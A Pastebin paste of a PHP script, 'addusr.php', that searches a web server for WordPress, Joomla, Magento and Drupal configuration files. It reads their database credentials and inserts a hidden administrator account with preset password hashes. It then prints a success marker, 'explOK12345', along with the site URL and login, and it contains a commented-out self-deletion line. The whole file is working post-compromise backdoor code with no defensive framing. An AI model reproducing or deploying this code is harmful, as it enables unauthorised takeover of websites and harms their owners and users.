Advertisement
PalmaSolutions

addusr.php

Apr 18th, 2018
643
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.61 KB | None | 0 0
  1. <?php
  2.      $wphash = "\$P\$BX5hR10IRwKGBDqv5xMXJ8HAdgoqKf1";
  3.      $jmhash = "\$2y\$10\$66zdCOS4wcc3W4yCyUUzCeBr3qlzXOgtRhUtAIDcw/o2.7D0XUjMG";
  4.      $mghash = "48706d67e7573a18bdd20d11f37e606a:SbZKZILZINoithvhQ3TJt35JCiqiayyK";
  5.      $mg2hash = "a1d99eaeaba58040bbf0cd4776cc549c7c029eba250fcd4a7f8928e6f475d7bb:XiT8a32Xmf4LEPc2hJmbK1FM7rKGwLiw:1";
  6.      $dphash="\$S\$D3ipHxI7ftt3us.0Acq.kUo/me0jvyWSlTv.FRLbd3gaplWWq4W3";
  7.      $u_name = "Alex";
  8.      /****find config files****/
  9.      $rootpath = "";
  10.      if(isset($_SERVER["DOCUMENT_ROOT"]))
  11.      {
  12.         $rootpath = $_SERVER["DOCUMENT_ROOT"];
  13.      } else
  14.      {
  15.          $rootpath = preg_replace('/(htdocs|httpdocs|www)(.*)/','$1',dirname($_SERVER["SCRIPT_FILENAME"]));
  16.      }
  17.  
  18.      
  19. $pathArr =array();
  20. $startPath="";
  21. $depth=0;
  22. $sep = "/";
  23. if (strstr($rootpath,"/"))
  24. {
  25.     $pathArr = explode("/",$rootpath);
  26. } elseif (strstr($rootpath,"\\"))
  27. {
  28.     $pathArr = explode("\\",$rootpath);
  29.     $sep = "\\";
  30. }
  31. $depth = count($pathArr);
  32. if($depth>=2)
  33. {
  34.     $startPath = $pathArr[0];
  35.     for($i=1;$i<count($pathArr)-1;$i++)
  36.     {
  37.         $startPath = $startPath.$sep.$pathArr[$i];
  38.         $configs=findconfig($startPath,$depth);
  39.         if(count($configs))
  40.         {
  41.             break;
  42.         }
  43.         $depth--;
  44.        
  45.     }
  46. } else
  47. {
  48.     $startPath = $rootpath;
  49.     $configs=findconfig($startPath,$depth);
  50. }
  51.  
  52.  
  53. if(count($configs)<=0)
  54. {
  55.   $configs=findconfig($rootpath,2);  
  56. }
  57. $addOk = false;
  58. if(is_array($configs))
  59. {
  60. $configs = array_unique($configs);
  61.     foreach($configs as $config)
  62.     {
  63.         try{
  64.            
  65.              $addedUsrs = NULL;
  66.             $cont = file_get_contents($config);
  67.             $cmstype = "";
  68.          if (stripos($config,"wp-config.php"))
  69.          {
  70.              $addedUsrs=setWPUser($cont,$u_name,$wphash);
  71.              $cmstype = "WORDPRESS";
  72.                    
  73.                
  74.          } elseif(stripos($config,"configuration.php"))
  75.          {
  76.              $addedUsrs=setJMUser($cont,$u_name,$jmhash);
  77.              $cmstype = "JOOMLA";
  78.              
  79.          } elseif(stripos($config,"local.xml"))
  80.          {
  81.              $addedUsrs=setMGUser($cont,$u_name,$mghash,false);
  82.              $cmstype = "MAGENTO";
  83.          } elseif(stripos($config,"env.php"))
  84.          {
  85.              $addedUsrs=setMGUser($cont,$u_name,$mg2hash,true);
  86.              $cmstype = "MAGENTO";
  87.          } elseif(stripos($config,"settings.php"))
  88.          {
  89.              $addedUsrs=setDPUser($cont,$u_name,$dphash,true);
  90.              $cmstype = "DRUPAL";
  91.          }
  92.          if(is_array($addedUsrs))
  93.              {
  94.                  try
  95.                    {
  96.                        $url = $addedUsrs["url"];
  97.                        if(empty($url))
  98.                        {$url=$config;}
  99.                        if(!$addOk)
  100.                        {
  101.                           $addOk = true;
  102.                           echo "explOK12345" ;
  103.                           echo "<br>";
  104.                        }
  105.                        echo $cmstype.":".$url.":".$addedUsrs["user"].":".$addedUsrs["pass"];
  106.                    }catch(Exception $e)
  107.                    { echo $e->getMessage();}
  108.                    echo "<br>";
  109.                  
  110.              }
  111.         }catch(Exception $e)
  112.         {;}
  113.        
  114.        
  115.     }
  116.    
  117. }
  118.  
  119. //unlink($_SERVER["SCRIPT_FILENAME"]);
  120.  
  121.  //����� ��������
  122.  function findconfig($source,$depth)
  123. {
  124.  
  125.     $source = str_replace('\\', '/', realpath($source));
  126.     $result=array();
  127.    try
  128.    {
  129.       if (is_dir($source) === true)
  130.     {
  131.         $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source,RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::SELF_FIRST,RecursiveIteratorIterator::CATCH_GET_CHILD);
  132.         $files->setMaxDepth($depth);
  133.         foreach ($files as $file => $fileInfo)
  134.         {
  135.             try{
  136.                 $file = str_replace('\\', '/', $file);
  137.                 $file2 = $file;
  138.             if( in_array(substr($file, strrpos($file, '/')+1), array('.', '..')) )
  139.                 continue;
  140.             $file = realpath($file);
  141.            
  142.             if ((is_file($file) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
  143.             {
  144.                $result[]=$file;
  145.                
  146.             } elseif(is_dir($file)&&strstr($file2,"app/etc"))
  147.             {
  148.                 //
  149.                 //local.xml
  150.                 if(file_exists(realpath($file."/env.php")))
  151.                 {
  152.                    $result[]=  realpath($file."/env.php");
  153.                 }
  154.                 elseif(file_exists(realpath($file."/local.xml")))
  155.                 {
  156.                    $result[]= realpath($file."/local.xml");
  157.                 }
  158.                
  159.             }elseif(is_dir($file)&&strstr($file2,"sites/default"))
  160.             {
  161.                 //
  162.                 //local.xml
  163.                 if(file_exists(realpath($file."/settings.php")))
  164.                 {
  165.                    $result[]=  realpath($file."/settings.php");
  166.                 }
  167.                
  168.             }
  169.             }catch(Exception $iterex)
  170.             {
  171.                 ;
  172.             }
  173.         }
  174.     }
  175.     elseif ((is_file($source) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
  176.     {
  177.        
  178.         $result[]=$file;
  179.     } elseif(is_dir($file)&&stristr($file,"app/etc"))
  180.     {
  181.         if(file_exists(realpath($file."/env.php")))
  182.                 {
  183.                     $result[]= realpath($file."/env.php");
  184.                 }
  185.                 elseif(file_exists(realpath($file."/local.xml")))
  186.                 {
  187.                    $result[]= realpath($file."/local.xml");
  188.                 }
  189.     }elseif(is_dir($file)&&strstr($file2,"sites/default"))
  190.             {
  191.                 //
  192.                 //local.xml
  193.                 if(file_exists(realpath($file."/settings.php")))
  194.                 {
  195.                    $result[]=  realpath($file."/settings.php");
  196.                 }
  197.                
  198.             }
  199.    } catch (Exception $e) {
  200.        ;
  201.     }
  202.    
  203.    
  204.  
  205.  
  206.   return $result;
  207. }
  208.  
  209.   function generate_password($number)
  210.   {
  211.     $arr = array('a','b','c','d','e','f',
  212.                  'g','h','i','j','k','l',
  213.                  'm','n','o','p','r','s',
  214.                  't','u','v','x','y','z',
  215.                  'A','B','C','D','E','F',
  216.                  'G','H','I','J','K','L',
  217.                  'M','N','O','P','R','S',
  218.                  'T','U','V','X','Y','Z',
  219.                  '1','2','3','4','5','6',
  220.                  '7','8','9','0' );
  221.     $pass = "";
  222.     for($i = 0; $i < $number; $i++)
  223.     {
  224.       $index = rand(0, count($arr) - 1);
  225.       $pass .= $arr[$index];
  226.     }
  227.     return $pass;
  228.   }
  229.  
  230.   function setWPUser($cont,$u_name,$pass)
  231.   {
  232.       $db_name = NULL;
  233.         $db_user = NULL;
  234.         $db_pass = NULL;
  235.         $db_host= NULL;
  236.         $tbl_preffix="";
  237.         $db_preffix="";
  238.         $uri="";
  239.       preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
  240.         if(is_array($matches))
  241. {
  242.     for($i=0;$i<count($matches[2]);$i++)
  243. {
  244.     if(stristr($matches[2][$i],"DB_NAME"))
  245.     {$db_name=$matches[4][$i];}
  246.     elseif(stristr($matches[2][$i],"db_user"))
  247.     {$db_user=$matches[4][$i];}
  248.     elseif(stristr($matches[2][$i],"db_password"))
  249.     {$db_pass=$matches[4][$i];}
  250.     elseif(stristr($matches[2][$i],"db_host"))
  251.     {$db_host=$matches[4][$i];}
  252.    
  253. }
  254. if(!empty($db_name))
  255. {
  256.     preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
  257.     if(is_array($mpreffix)&&count($mpreffix)==3)
  258.     {$tbl_preffix=$mpreffix[2];}
  259.     if(function_exists('mysql_connect')){
  260.     if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
  261.     if(mysql_select_db($db_name,$con_mss))
  262.     {
  263.         $result =  mysql_query ("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ", $con_mss);
  264.         if($result)
  265.         {
  266.            $row = mysql_fetch_row($result);
  267.            if(is_array($row)&&count($row)>0)
  268.            $uri=trim($row[0]);
  269.            
  270.         }
  271.         $result =  mysql_query ("SELECT ID FROM ".$tbl_preffix."users where user_login='$u_name' ", $con_mss);
  272.         if($result)
  273.         {
  274.             $row = mysql_fetch_row($result);
  275.             if($row)
  276.             {$u_name = generate_password(6);}
  277.            
  278.            
  279.            
  280.         }
  281.         $ErrorMsg = "";
  282.         $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name','$u_name') ", $con_mss) or $ErrorMsg  =  mysql_error();
  283.         $repcnt=0;
  284.         while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
  285.         {
  286.             $ErrorMsg = "";
  287.             $u_name = generate_password(6);
  288.             $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name','$u_name') ", $con_mss) or $ErrorMsg  =  mysql_error();
  289.             $repcnt++;
  290.         }
  291.         if($insusrquery)
  292.         {
  293.             $result =  mysql_query ("SELECT ID FROM ".$tbl_preffix."users where user_login='$u_name' AND user_pass='$pass' ", $con_mss);
  294.         if($result)
  295.         {
  296.            $row = mysql_fetch_row($result);
  297.            if(is_array($row)&&count($row)>0)
  298.            $usrdID=$row[0];
  299.            if($usrdID>0)
  300.            {
  301.                $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."usermeta (user_id,meta_key,meta_value) VALUES($usrdID,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}') ", $con_mss) or $ErrorMsg  =  mysql_error();
  302.                if($insusrquery)
  303.                {
  304.                   return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
  305.                }
  306.            }
  307.         }
  308.         }
  309.        
  310.     }
  311.     }
  312. }
  313. }
  314. }
  315.   }
  316.  
  317.   function setJMUser($cont,$u_name,$pass)
  318.   {
  319.       $db_name = NULL;
  320.         $db_user = NULL;
  321.         $db_pass = NULL;
  322.         $db_host= NULL;
  323.         $tbl_preffix="";
  324.         $uri="";
  325. preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
  326.                 if(is_array($matches))
  327. {
  328.     for($i=0;$i<count($matches[1]);$i++)
  329. {
  330.     if(stristr($matches[1][$i],"\$db "))
  331.     {$db_name=$matches[2][$i];}
  332.     elseif(stristr($matches[1][$i],"\$user "))
  333.     {$db_user=$matches[2][$i];}
  334.     elseif(stristr($matches[1][$i],"\$password"))
  335.     {$db_pass=$matches[2][$i];}
  336.     elseif(stristr($matches[1][$i],"\$host"))
  337.     {$db_host=$matches[2][$i];}
  338.     elseif(stristr($matches[1][$i],"\$dbprefix"))
  339.     {$tbl_preffix=$matches[2][$i];}
  340.     elseif(stristr($matches[1][$i],"\$sitename"))
  341.     {$uri=$matches[2][$i];}
  342.    
  343. }
  344. if(!empty($db_name))
  345. {
  346.     if(function_exists('mysql_connect')){
  347.         if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
  348.             if(mysql_select_db($db_name,$con_mss))
  349.             {
  350.                 $result =  mysql_query ("SELECT id FROM ".$tbl_preffix."users where username='$u_name' ", $con_mss);
  351.         if($result)
  352.         {
  353.             $row = mysql_fetch_row($result);
  354.             if($row)
  355.             {$u_name = generate_password(6);}
  356.            
  357.            
  358.            
  359.         }
  360.         $ErrorMsg = "";
  361.         $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ", $con_mss) or $ErrorMsg  =  mysql_error();
  362.         $repcnt=0;
  363.         while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
  364.         {
  365.             $ErrorMsg = "";
  366.             $u_name = generate_password(6);
  367.             $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ", $con_mss) or $ErrorMsg  =  mysql_error();
  368.             $repcnt++;
  369.         }
  370.        
  371.         if($insusrquery)
  372.         {
  373.             $result =  mysql_query ("SELECT id FROM ".$tbl_preffix."users where username='$u_name' AND password='$pass' ", $con_mss);
  374.             if($result)
  375.         {
  376.            $row = mysql_fetch_row($result);
  377.            if(is_array($row)&&count($row)>0)
  378.            $usrdID=$row[0];
  379.            if($usrdID>0)
  380.            {
  381.                $adminID=7;
  382.               $result =  mysql_query ("SELECT id FROM ".$tbl_preffix."usergroups where title LIKE '%administrator%' ", $con_mss);
  383.         if($result)
  384.         {
  385.             $row = mysql_fetch_row($result);
  386.              if(is_array($row)&&count($row)>0)
  387.            $adminID=trim($row[0]);
  388.            
  389.            
  390.            
  391.         }
  392.        
  393.         $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."user_usergroup_map (user_id,group_id) VALUES($usrdID,$adminID) ", $con_mss) or $ErrorMsg  =  mysql_error();
  394.                if($insusrquery)
  395.                {
  396.                   return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
  397.                }
  398.        
  399.            }
  400.         }
  401.            
  402.         }
  403.        
  404.             }
  405.         }
  406.     }
  407. }
  408. }
  409.   }
  410.  
  411.   function setMGUser($cont,$u_name,$pass,$ismg2)
  412.   {
  413.         $db_name = NULL;
  414.         $db_user = NULL;
  415.         $db_pass = NULL;
  416.         $db_host= NULL;
  417.         $tbl_preffix="";
  418.         $uri="";
  419.         $roletbl="";
  420.        
  421.      if(!$ismg2&&stristr($cont,"<?xml version"))
  422.      {
  423.         $dbdata = new SimpleXMLElement($cont);
  424.         $db_name = $dbdata->global->resources->default_setup->connection->dbname;
  425.         $db_user = $dbdata->global->resources->default_setup->connection->username;
  426.         $db_pass = $dbdata->global->resources->default_setup->connection->password;
  427.         $db_host= $dbdata->global->resources->default_setup->connection->host;
  428.         $tbl_preffix=$dbdata->global->resources->db->table_prefix;
  429.        
  430.      } elseif($ismg2&&stristr($cont,"'host' =>"))
  431.      {
  432.          //'host' => 'localhost',
  433.      preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
  434.         if(is_array($matches))
  435. {
  436.     for($i=0;$i<count($matches[2]);$i++)
  437. {
  438.     if(stristr($matches[2][$i],"dbname"))
  439.     {$db_name=$matches[4][$i];}
  440.     elseif(stristr($matches[2][$i],"username"))
  441.     {$db_user=$matches[4][$i];}
  442.     elseif(stristr($matches[2][$i],"password"))
  443.     {$db_pass=$matches[4][$i];}
  444.     elseif(stristr($matches[2][$i],"host"))
  445.     {$db_host=$matches[4][$i];}
  446.     elseif(stristr($matches[2][$i],"table_prefix"))
  447.     {$tbl_preffix=$matches[4][$i];}
  448.    
  449. }
  450.      }
  451.      
  452.      }
  453.         if(!is_null($db_name)&&!empty($db_name))
  454. {
  455.     if(function_exists('mysql_connect')){
  456.         if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
  457.             if(mysql_select_db($db_name,$con_mss))
  458.             {
  459.                 $result =  mysql_query ("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ", $con_mss);
  460.         if($result)
  461.         {
  462.            $row = mysql_fetch_row($result);
  463.            if(is_array($row)&&count($row)>0)
  464.            $uri=trim($row[0]);
  465.            
  466.         }
  467.                 $result =  mysql_query ("SELECT user_id FROM ".$tbl_preffix."admin_user where username='$u_name' ", $con_mss);
  468.         if($result)
  469.         {
  470.             $row = mysql_fetch_row($result);
  471.             if($row)
  472.             {$u_name = generate_password(6);}
  473.            
  474.            
  475.            
  476.         }
  477.         $ErrorMsg = "";
  478.         $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','email@example.com','$u_name','$pass',0,1,'N;') ", $con_mss) or $ErrorMsg  =  mysql_error();
  479.         $repcnt=0;
  480.         while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
  481.         {
  482.             $ErrorMsg = "";
  483.             $u_name = generate_password(6);
  484.             $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','email@example.com','$u_name','$pass',0,1,'N;') ", $con_mss) or $ErrorMsg  =  mysql_error();
  485.             $repcnt++;
  486.         }
  487.        
  488.         if($insusrquery)
  489.         {
  490.             if(!$ismg2){
  491.                
  492.            
  493.         $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),'$u_name')",$con_mss) or $ErrorMsg  =  mysql_error();
  494.             } else
  495.             {
  496.                 $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."authorization_role (parent_id,tree_level,sort_order,role_type,user_id,user_type,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),2,'$u_name')",$con_mss) or $ErrorMsg  =  mysql_error();
  497.             }
  498.            
  499.             //$roletbl="";
  500.             //$roletbl="";
  501.                if($insusrquery)
  502.                {
  503.                   return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
  504.                  
  505.                }
  506.        
  507.            
  508.        
  509.            
  510.         }
  511.        
  512.             }
  513.         }
  514.     }
  515. }
  516.        
  517.  
  518.  
  519.  
  520.   }
  521.  
  522.   function setDPUser($cont,$u_name,$pass)
  523.   {
  524.         $db_name = NULL;
  525.         $db_user = NULL;
  526.         $db_pass = NULL;
  527.         $db_host= NULL;
  528.         $tbl_preffix="";
  529.         $uri="";
  530.         $roletbl="";
  531.        
  532. if(stristr($cont,"'host' =>"))
  533.      {
  534.          //'host' => 'localhost',
  535.    preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $cont, $matches);
  536.         if(is_array($matches))
  537. {
  538.     for($i=0;$i<count($matches[2]);$i++)
  539. {
  540.     if(stristr($matches[2][$i],"database"))
  541.     {$db_name=$matches[4][$i];}
  542.     elseif(stristr($matches[2][$i],"username"))
  543.     {$db_user=$matches[4][$i];}
  544.     elseif(stristr($matches[2][$i],"password"))
  545.     {$db_pass=$matches[4][$i];}
  546.     elseif(stristr($matches[2][$i],"host"))
  547.     {$db_host=$matches[4][$i];}
  548.     elseif(stristr($matches[2][$i],"prefix"))
  549.     {$tbl_preffix=$matches[4][$i];}
  550.    
  551. }
  552.      }
  553.      
  554.      }
  555.         if(!is_null($db_name)&&!empty($db_name))
  556. {
  557.     if(function_exists('mysql_connect')){
  558.         if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
  559.             if(mysql_select_db($db_name,$con_mss))
  560.             {
  561.                 $result =  mysql_query ("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ", $con_mss);
  562.         if($result)
  563.         {
  564.            $row = mysql_fetch_row($result);
  565.            if(is_array($row)&&count($row)>0)
  566.            $uri= unserialize(trim($row[0]));
  567.            
  568.         }
  569.         $ErrorMsg = "";
  570.         $isD8 = false;
  571.         $result =  mysql_query ("SELECT uid FROM ".$tbl_preffix."users where name='$u_name' ", $con_mss) or $ErrorMsg  =  mysql_error();
  572.         if ($ErrorMsg)
  573.                 {
  574.                     $isD8 = true;
  575.                     $ErrorMsg = "";
  576.         $result =  mysql_query ("SELECT uid FROM ".$tbl_preffix."users_field_data where name='$u_name' ", $con_mss) or $ErrorMsg  =  mysql_error();
  577.                 }
  578.         if($result)
  579.         {
  580.             $row = mysql_fetch_row($result);
  581.             if($row)
  582.             {$u_name = generate_password(6);}
  583.                
  584.        
  585.             }
  586.         }
  587.         if($isD8)
  588.         {
  589.            $result =  mysql_query ("SELECT MAX(uid) FROM ".$tbl_preffix."users_field_data", $con_mss);
  590.         } else
  591.         {
  592.             $result =  mysql_query ("SELECT MAX(uid) FROM ".$tbl_preffix."users", $con_mss);
  593.         }
  594.        
  595.         $prevuid=256;
  596.         if($result)
  597.         {
  598.            $row = mysql_fetch_row($result);
  599.            if(is_array($row)&&count($row)>0)
  600.            $prevuid= $row[0]+1;
  601.            
  602.         }
  603.        
  604.         if ($isD8)
  605.         {
  606.             $ErrorMsg = "";
  607.         $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ", $con_mss) or $ErrorMsg  =  mysql_error();
  608.         $repcnt=0;
  609.         while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
  610.         {
  611.             $ErrorMsg = "";
  612.             $u_name = generate_password(6);
  613.             $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ", $con_mss) or $ErrorMsg  =  mysql_error();
  614.             $repcnt++;
  615.         }
  616.             if($insusrquery)
  617.         {
  618.             $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."user__roles (bundle,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',$prevuid,1,'en',0,'administrator') ", $con_mss) or $ErrorMsg  =  mysql_error();
  619.             $uuidd = sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
  620.             $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (uid,uuid,langcode) VALUES ($prevuid,'".$uuidd."','en') ", $con_mss) or $ErrorMsg  =  mysql_error();
  621.            
  622.             if($insusrquery)
  623.             {
  624.                 return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
  625.             }
  626.         }
  627.            
  628.        
  629.         }
  630.         else
  631.         {
  632.             $ErrorMsg = "";
  633.         $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (uid,name,pass,status,init,data) VALUES ($prevuid,'$u_name','$pass',1,'1','b:0;') ", $con_mss) or $ErrorMsg  =  mysql_error();
  634.         $repcnt=0;
  635.         while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
  636.         {
  637.             $ErrorMsg = "";
  638.             $u_name = generate_password(6);
  639.             $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,pass,init,data) VALUES ('$u_name','$pass','1','b:0;') ", $con_mss) or $ErrorMsg  =  mysql_error();
  640.             $repcnt++;
  641.         }
  642.         if($insusrquery)
  643.         {
  644.            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."role (name,weight) VALUES ('$u_name',2) ", $con_mss) or $ErrorMsg  =  mysql_error();  
  645.            if($insusrquery)
  646.            {
  647.                $result =  mysql_query ("SELECT rid FROM ".$tbl_preffix."role where name='$u_name' ", $con_mss);
  648.         if($result)
  649.         {
  650.            $row = mysql_fetch_row($result);
  651.            if(is_array($row)&&count($row)>0)
  652.            $rid= $row[0];
  653.            $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."role_permission (rid,permission,module) VALUES ($rid,'access administration pages','system'),($rid,'access site in maintenance mode','system'),($rid,'access user profiles','user'),($rid,'administer actions','system'),($rid,'administer blocks','block'),($rid,'administer modules','system'),($rid,'administer permissions','user'),($rid,'administer site configuration','system'),($rid,'administer themes','system'),($rid,'administer users','user')", $con_mss) or $ErrorMsg  =  mysql_error();
  654.            if($insusrquery)
  655.            {
  656.                $insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_roles (uid,rid) VALUES ((SELECT uid FROM ".$tbl_preffix."users WHERE name = '$u_name'),$rid) ", $con_mss) or $ErrorMsg  =  mysql_error();
  657.                if($insusrquery)
  658.                {
  659.                   return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
  660.                  
  661.                }  
  662.            }
  663.            
  664.         }
  665.            }    
  666.         }
  667.         }
  668.     }
  669.     }
  670. }
  671.   }
  672.  
  673. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement